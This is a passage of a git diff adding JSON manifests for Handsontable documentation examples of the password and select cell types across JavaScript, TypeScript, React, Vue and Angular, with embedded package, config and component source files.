symbol","docPermalink":"/password-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example4.js.json new file mode 100644 index 00000000..5dfe6410 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Password cell type · Reveal delay · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example4');\nnew Handsontable(container, {\n data: [\n { id: 1, name: { first: 'Chris', last: 'Right' }, password: 'plainTextPassword' },\n { id: 2, name: { first: 'John', last: 'Honest' }, password: 'txt' },\n { id: 3, name: { first: 'Greg', last: 'Well' }, password: 'longer' },\n ],\n colHeaders: ['ID', 'First name', 'Last name', 'Password'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'password', type: 'password', hashRevealDelay: 1000 },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/password-cell-type/javascript/example4.js","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example4","exampleTitle":"Reveal delay","docPermalink":"/password-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example4.ts.json new file mode 100644 index 00000000..5aca7ee3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Password cell type · Reveal delay · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nnew Handsontable(container, {\n data: [\n { id: 1, name: { first: 'Chris', last: 'Right' }, password: 'plainTextPassword' },\n { id: 2, name: { first: 'John', last: 'Honest' }, password: 'txt' },\n { id: 3, name: { first: 'Greg', last: 'Well' }, password: 'longer' },\n ],\n colHeaders: ['ID', 'First name', 'Last name', 'Password'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'password', type: 'password', hashRevealDelay: 1000 },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/password-cell-type/javascript/example4.ts","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example4","exampleTitle":"Reveal delay","docPermalink":"/password-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..22ea3dd7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Password cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/password-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/password-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__react__example2.tsx.json new file mode 100644 index 00000000..e5210ca0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Password cell type · Fixed hash length · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/password-cell-type/react/example2.tsx","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example2","exampleTitle":"Fixed hash length","docPermalink":"/password-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__react__example3.tsx.json new file mode 100644 index 00000000..d7553002 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Password cell type · Custom hash symbol · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/password-cell-type/react/example3.tsx","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example3","exampleTitle":"Custom hash symbol","docPermalink":"/password-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__react__example4.tsx.json new file mode 100644 index 00000000..46dccc8c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Password cell type · Reveal delay · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/password-cell-type/react/example4.tsx","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example4","exampleTitle":"Reveal delay","docPermalink":"/password-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..de13a2ea --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Password cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/password-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/password-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__vue__example2.vue.json new file mode 100644 index 00000000..815cfdf1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Password cell type · Fixed hash length · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/password-cell-type/vue/example2.vue","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example2","exampleTitle":"Fixed hash length","docPermalink":"/password-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__vue__example3.vue.json new file mode 100644 index 00000000..bb690d84 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Password cell type · Custom hash symbol · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/password-cell-type/vue/example3.vue","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example3","exampleTitle":"Custom hash symbol","docPermalink":"/password-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__vue__example4.vue.json new file mode 100644 index 00000000..aa70a0f6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Password cell type · Reveal delay · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/password-cell-type/vue/example4.vue","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example4","exampleTitle":"Reveal delay","docPermalink":"/password-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..2b5b881e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Select cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-select-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['2017', 'Honda', 10],\n ['2018', 'Toyota', 20],\n ['2019', 'Nissan', 30],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colWidths: [70, 90, 80],\n colHeaders: ['Year', 'Make', 'In stock'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {},\n {\n type: 'select',\n selectOptions: ['Kia', 'Nissan', 'Toyota', 'Honda'],\n },\n {},\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/select-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Select cell type"],"guide":"guides/cell-types/select-cell-type/select-cell-type.md","guideTitle":"Select cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/select-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..2d4b879a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__select-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Select cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": 